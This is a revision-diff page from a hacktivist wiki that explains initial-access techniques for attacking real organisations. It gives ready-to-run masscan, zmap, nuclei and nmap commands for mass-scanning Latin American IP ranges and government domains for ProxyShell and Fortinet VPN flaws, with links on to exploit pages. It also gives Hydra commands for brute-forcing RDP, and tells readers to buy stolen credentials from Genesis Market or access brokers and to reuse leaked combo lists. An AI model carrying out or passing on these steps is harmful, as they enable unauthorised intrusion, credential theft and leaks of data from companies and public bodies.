Initial Access Tactics, techniques and procedures: Difference between revisions

From Enlace Hacktivista
Jump to navigation Jump to search
Line 117: Line 117:


== Spray and pray ==
== Spray and pray ==
As seen by [https://enlacehacktivista.org/hackback2.webm Guacamaya], hacktivists can benefit from a highly targeted spray and pray campaign whereby you scan IP ranges of countries of interest or your target companies IP ranges for critical vulnerabilities and attack protocols with a password attack. In the case of Guacamaya they scanned and exploited proxyshell and yoinked all their target emails out of their Microsoft exchange email servers and leaked them. You can also do the same! See [https://enlacehacktivista.org/index.php?title=Scanning_and_Recon scanning and recon] for tools such as [https://github.com/projectdiscovery/nuclei nuclei] and the [https://nmap.org/book/nse.html nmap scripting engine] (NSE) to then vulnerability scan the IP addresses you discover. You can resolve the IP addresses to their respective domains (reverse DNS lookup) using <code>nmap -Pn -sS -R -iL targets.txt -oA results</code>, however this is also done by default when performing a vulnerability scan using NSE.
As seen by [https://enlacehacktivista.org/hackback2.webm Guacamaya], hacktivists can benefit from a highly targeted spray and pray campaign whereby you scan IP ranges of countries of interest or your target companies IP ranges for critical vulnerabilities and attack protocols with a password attack. In the case of Guacamaya they scanned and exploited proxyshell and yoinked all their target emails out of their Microsoft exchange email servers and leaked them. You can also do the same! See [https://enlacehacktivista.org/index.php?title=Scanning_and_Recon scanning and recon] for tools such as [https://github.com/projectdiscovery/nuclei nuclei] and the [https://nmap.org/book/nse.html nmap scripting engine] (NSE) to then vulnerability scan the IP addresses you discover.


IP Ranges:
IP Ranges:
Line 125: Line 125:
* [https://github.com/robertdavidgraham/masscan#how-to-scan-the-entire-internet Scan the entire internet:] 0.0.0.0/0
* [https://github.com/robertdavidgraham/masscan#how-to-scan-the-entire-internet Scan the entire internet:] 0.0.0.0/0


=== Vulnerability scanning ===
=== Networks ===
Scanning for and exploiting CVE vulnerabilities on [https://attack.mitre.org/techniques/T1190/ public facing applications].


*  2021 Top Routinely Exploited Vulnerabilities: https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-117a
Use the below as an exmaple for how to scan hosts for vulnerabilities and exploit. Do your own research on [https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-117a commonly] [https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-215a exploited CVEs] along with [https://www.cisa.gov/known-exploited-vulnerabilities-catalog new CVEs] to discover new hosts with different vulnerabilities.
*  2022 Top Routinely Exploited Vulnerabilities: https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-215a


==== Tools ====
Tool: [https://github.com/robertdavidgraham/masscan masscan]
* https://www.kali.org/tools/masscan
Scan IP ranges, output only ipv4 addresses and block known honeypots:
<code>sudo masscan -Pn -sS -iL [https://enlacehacktivista.org/images/4/4b/Latin_american_ranges.txt ranges.txt] --rate 50000 -p443 --open-only --excludefile [https://gist.github.com/ozuma/fb21ab0f7143579b1f2794f4af746fb2 block.txt] | grep -Eo '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' > results.txt</code>


Add the port numbers to the end of discovered IPs in the format: ip-address:443
'''1.''' Scan for [https://www.mandiant.com/resources/blog/pst-want-shell-proxyshell-exploiting-microsoft-exchange-servers Proxyshell]:
* <code>sudo masscan -Pn -sS -iL [https://enlacehacktivista.org/images/4/4b/Latin_american_ranges.txt ranges.txt] --rate 50000 -p443 --open-only --excludefile [https://gist.github.com/ozuma/fb21ab0f7143579b1f2794f4af746fb2 block.txt] | grep -Eo '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' > results.txt</code>


<code>sed -i 's/$/:443/' results.txt</code>
* <code>sed -i 's/$/:443/' results.txt</code>


[https://www.bleepingcomputer.com/news/security/researchers-compile-list-of-vulnerabilities-abused-by-ransomware-gangs Vuln] scan IPs:
*<code>nuclei -l results.txt -t [https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-34473.yaml nuclei-templates/http/cves/2021/CVE-2021-34473.yaml] -o vulns.txt</code>


<code>nuclei -l results.txt -t [https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-34473.yaml nuclei-templates/http/cves/2021/CVE-2021-34473.yaml] -o vulns.txt</code>
Exploit Discovered hosts: [[Proxyshell]]


Exploit: [[Proxyshell]]
'''2.''' Scan for CVE-2018-13379:
* <code>sudo masscan -Pn -sS -iL [https://enlacehacktivista.org/images/4/4b/Latin_american_ranges.txt ranges.txt] --rate 50000 -p4443,10443,8443 --open-only --excludefile [https://gist.github.com/ozuma/fb21ab0f7143579b1f2794f4af746fb2 block.txt] --output-format list --output-file results.txt</code>
* <code>awk '{ print $4 ":" $3 }' results.txt > final_results.txt</code>
* <code>nuclei -l final_results.txt -t [https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-13379.yaml nuclei-templates/http/cves/2018/CVE-2018-13379.yaml] -o vulns.txt</code>
Exploit Discovered hosts: [[Fortinet SSL VPN Path Traversal]]


Scan for multiple different ports:
Tool: [https://github.com/zmap/zmap zmap]


<code>sudo masscan -Pn -sS -iL [https://enlacehacktivista.org/images/4/4b/Latin_american_ranges.txt ranges.txt] --rate 50000 -p4443,10443,8443 --open-only --excludefile [https://gist.github.com/ozuma/fb21ab0f7143579b1f2794f4af746fb2 block.txt] --output-format list --output-file results.txt</code>
'''1.''' Scan for Microsoft Exchange Email Servers:
 
Add unique port numbers to the end of discovered IPs in the format: ip-address:port
 
<code>awk '{ print $4 ":" $3 }' results.txt > final_results.txt</code>
 
[https://www.ic3.gov/Media/News/2021/210402.pdf Vuln] scan IPs:
 
<code>nuclei -l final_results.txt -t [https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-13379.yaml nuclei-templates/http/cves/2018/CVE-2018-13379.yaml] -o vulns.txt</code>
 
Exploit: [[Fortinet SSL VPN Path Traversal]]
 
* https://github.com/zmap/zmap
[https://enlacehacktivista.org/hackback2.webm Guacamaya] scanning for proxyshell using zmap and [https://github.com/GossiTheDog/scanning/blob/main/http-vuln-exchange-proxyshell.nse NSE]:  
<pre>
<pre>
sudo zmap -q -p 443 | httpx -silent -s -sd -location \
sudo zmap -q -p 443 | httpx -silent -s -sd -location \
> | awk '/owa/ { print substr($1,9) }' > owa.txt
> | awk '/owa/ { print substr($1,9) }' > owa.txt
</pre>
</pre>
'''2.''' Vulnerability scan discovered hosts for [[Proxyshell]] using [https://github.com/GossiTheDog/scanning/blob/main/http-vuln-exchange-proxyshell.nse NSE]
<pre>
<pre>
nmap -p 443 -Pn -n \
nmap -p 443 -Pn -n \
Line 172: Line 159:
</pre>
</pre>


=== Password spray and pray ===
==== Password Attacks ====
You can perform these attacks against protocols such as SSH, RDP, VPN, FTP, telnet, VNC, mysql.
Performing a large password spray and brute force campaign could be valuable to you in your operations if you are able to find one of your targets servers who use weak and guessable credentials.
==== Tools ====
* https://www.kali.org/tools/medusa
* https://www.kali.org/tools/hydra
* [https://enlacehacktivista.org/index.php?title=Initial_Access_Tactics,_techniques_and_procedures#Passwords Passwords]
Scan your target(s) for RDP (3389):


<code>sudo masscan -Pn -sS -iL [https://enlacehacktivista.org/images/4/4b/Latin_american_ranges.txt ranges.txt] --rate 50000 -p3389 --open-only --excludefile [https://gist.github.com/ozuma/fb21ab0f7143579b1f2794f4af746fb2 block.txt] | grep -Eo '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' > targets.txt</code>
* <code>sudo masscan -Pn -sS -iL [https://enlacehacktivista.org/images/4/4b/Latin_american_ranges.txt ranges.txt] --rate 50000 -p3389 --open-only --excludefile [https://gist.github.com/ozuma/fb21ab0f7143579b1f2794f4af746fb2 block.txt] | grep -Eo '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' > targets.txt</code>
* <code>hydra -L [https://github.com/danielmiessler/SecLists/tree/master/Usernames usernames.txt] -P [https://github.com/danielmiessler/SecLists/tree/master/Passwords passwords.txt] -M targets.txt -t 16 rdp -o results</code>


Now use [https://nakedsecurity.sophos.com/2017/11/15/ransomware-spreading-hackers-sneak-in-through-rdp/ RDP] cracking [https://github.com/vanhauser-thc/thc-hydra tools] against discovered IPs.
VPN Brute forcing:
* https://enlacehacktivista.org/index.php?title=VPN_brute_forcing


<code>hydra -L [https://github.com/danielmiessler/SecLists/tree/master/Usernames usernames.txt] -P [https://github.com/danielmiessler/SecLists/tree/master/Passwords passwords.txt] -M targets.txt -t 16 rdp -o results</code>
=== Domains ===
By either collecting your target websites in a file, scanning the internet using [https://github.com/zmap/zgrab2 zgrab] or by downloading a list of domains to scan through we can scan a large amount of domains for vulnerabilities, pull out only the domains that are relevant to us and exploit the discovered vulnerabilities. A manual pen test using both passive/active recon and automated and manually hacking following a good methodology will be better for more targeted attacks but this technique will get good coverage at the start of an operation.


VPN Brute forcing:
List of domains:
* https://enlacehacktivista.org/index.php?title=VPN_brute_forcing
* https://kaeferjaeger.gay/?dir=sni-ip-ranges
 
'''1.''' Extract domains:
* <code>user@host:~/sni_ip_ranges$ cat *.txt > all.txt</code>
* <code>grep -E -o '[a-zA-Z0-9_-]+(\.[a-zA-Z0-9_-]+)+(\.[a-zA-Z]{2,})' ~/sni_ip_ranges/all.txt > domains.txt</code>
* <code>grep -i '\.gov$' domains.txt > gov_domains.txt</code>
'''2.''' Enumerate TLDs for their subdomains:
* <code>subfinder -dL gov_domains.txt -silent -o government_domains.txt</code>
'''3.''' Port scan domains:
* <code>naabu -l government_domains.txt -silent -o government_domains_final.txt</code>
'''4.''' Vuln scan domains:
* <code>nuclei -l government_domains_final.txt -s critical,high -silent -o vuln_gov_domains.txt</code>

Revision as of 20:38, 8 August 2023

Phishing

Phishing is the most common attack method favored by advanced persistent threat groups and cyber criminal organized gangs. This is because it relies on social engineering to trick the target to either download a malicious email attachment or click on a malicious link.

Tools

Password Attacks

Groups like Lapsus$ show's the world that you don't need to be a great technical hacker to pwn massive corporations and if common password and multi-factor authentication (MFA) attacks work on the likes of Uber, Rockstar games, Okta and so on then they will work on our hacktivist targets!

If your target uses multi-factor authentication you can try either social engineering or MFA fatigue.

Username creation based on recon/osint

Create a bespoke username word list based on OSINT, recon and your targets employee LinkedIn and other social media pofiles to aid in your password attacks.

Passwords

Common and leaked credentials to test login portals and network services.

Using seclists usernames and passwords output all username and password files into one big file:

Usernames:

find SecLists/Usernames/ -type f -exec cat {} + > usernames.txt

Passwords:

find SecLists/Passwords/ -type f -exec cat {} + > passwords.txt

Password cracking tools

Searching leaks

Services

Please note: DO NOT use intelx[.]io as they have been seen doxing hackers in the past and block the use of Tor. AVOID!

You can use services that compile COMBO lists (leaked credentials) to search for your targets domain, then download the results and use them in a password attack to see whether or not your target recycles their credentials.

Once your leaks have been downloaded you can parse your results in the format, email:pass.

Password spraying

Employees commonly use recycled and weak credentials for convenience. If you already have valid passwords you can try and spray them across different services to test whether they have been recycled on other services or not. You can also take common passwords (Spring2023) and spray them hoping an employee uses a weak and guessable credential.

Hash cracking

Crack password hashes using both online and offline tools!

Identify hash:

Online tools:

Offline tools:

Buying access

You can use the genesis market to purchase credentials stolen from targets through the use of info stealer malware. Search your target here to see if you can make a quick win gaining access to an admin account. Any account that allows internal access is always a great start. Invites can be found on forums and markets.

You can also find access brokers selling network access inside of companies on forums. Services include but is not limited to account credentials, shells, implants, and other remote management software (RDP, VPN, SSH, etc).

Spray and pray

As seen by Guacamaya, hacktivists can benefit from a highly targeted spray and pray campaign whereby you scan IP ranges of countries of interest or your target companies IP ranges for critical vulnerabilities and attack protocols with a password attack. In the case of Guacamaya they scanned and exploited proxyshell and yoinked all their target emails out of their Microsoft exchange email servers and leaked them. You can also do the same! See scanning and recon for tools such as nuclei and the nmap scripting engine (NSE) to then vulnerability scan the IP addresses you discover.

IP Ranges:

Networks

Use the below as an exmaple for how to scan hosts for vulnerabilities and exploit. Do your own research on commonly exploited CVEs along with new CVEs to discover new hosts with different vulnerabilities.

Tool: masscan

1. Scan for Proxyshell:

  • sudo masscan -Pn -sS -iL ranges.txt --rate 50000 -p443 --open-only --excludefile block.txt | grep -Eo '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' > results.txt
  • sed -i 's/$/:443/' results.txt

Exploit Discovered hosts: Proxyshell

2. Scan for CVE-2018-13379:

Exploit Discovered hosts: Fortinet SSL VPN Path Traversal

Tool: zmap

1. Scan for Microsoft Exchange Email Servers: 

sudo zmap -q -p 443 | httpx -silent -s -sd -location \
> | awk '/owa/ { print substr($1,9) }' > owa.txt

2. Vulnerability scan discovered hosts for Proxyshell using NSE 

nmap -p 443 -Pn -n \
> --script http-vuln-exchange-proxyshell.nse -iL owa.txt

Password Attacks

Performing a large password spray and brute force campaign could be valuable to you in your operations if you are able to find one of your targets servers who use weak and guessable credentials.

  • sudo masscan -Pn -sS -iL ranges.txt --rate 50000 -p3389 --open-only --excludefile block.txt | grep -Eo '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' > targets.txt
  • hydra -L usernames.txt -P passwords.txt -M targets.txt -t 16 rdp -o results

VPN Brute forcing:

Domains

By either collecting your target websites in a file, scanning the internet using zgrab or by downloading a list of domains to scan through we can scan a large amount of domains for vulnerabilities, pull out only the domains that are relevant to us and exploit the discovered vulnerabilities. A manual pen test using both passive/active recon and automated and manually hacking following a good methodology will be better for more targeted attacks but this technique will get good coverage at the start of an operation.

List of domains:

1. Extract domains:

  • user@host:~/sni_ip_ranges$ cat *.txt > all.txt
  • grep -E -o '[a-zA-Z0-9_-]+(\.[a-zA-Z0-9_-]+)+(\.[a-zA-Z]{2,})' ~/sni_ip_ranges/all.txt > domains.txt
  • grep -i '\.gov$' domains.txt > gov_domains.txt

2. Enumerate TLDs for their subdomains:

  • subfinder -dL gov_domains.txt -silent -o government_domains.txt

3. Port scan domains:

  • naabu -l government_domains.txt -silent -o government_domains_final.txt

4. Vuln scan domains:

  • nuclei -l government_domains_final.txt -s critical,high -silent -o vuln_gov_domains.txt
Retrieved from "https://enlacehacktivista.org/index.php?title=Initial_Access_Tactics,_techniques_and_procedures&oldid=1451"